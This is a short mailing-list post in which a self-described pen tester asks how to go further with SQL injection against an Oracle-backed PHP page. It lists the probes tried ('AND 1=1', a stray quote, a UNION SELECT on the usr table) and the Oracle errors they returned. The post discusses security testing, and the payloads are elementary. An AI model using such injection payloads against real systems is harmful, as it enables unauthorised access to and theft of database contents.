Oracle URL SQL Injection issue

[Clone <c70n3 () yahoo co in>]

Hey List

I am pen testing a web app that supplies sql
parameters on the URL something like

http://x.y.z.a/item.php?Id=90

I did blind sql injection by adding AND 1=1 to confirm
the vulnerability.

Now when I do

http://x.y.z.a/item.php?Id=90'

I get 

ociparse() [function.ociparse]: OCIParse: ORA-01756:
quoted string not properly terminated in item.php on
line 312

Then I tried (after confirming presence of usr table
name)

http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%20*%20from%20usr;--

and I get the error

ociexecute() [function.ociexecute]: OCIStmtExecute:
ORA-01789: query block has incorrect number of result
columns in dbs.inc on line 44

I know one valid user account in the oracle DB.

Any idea what's the best strategy to move forward?

I'm not getting any further from here so far.

Any advise / helpo would be much appreciated.

Cheers'



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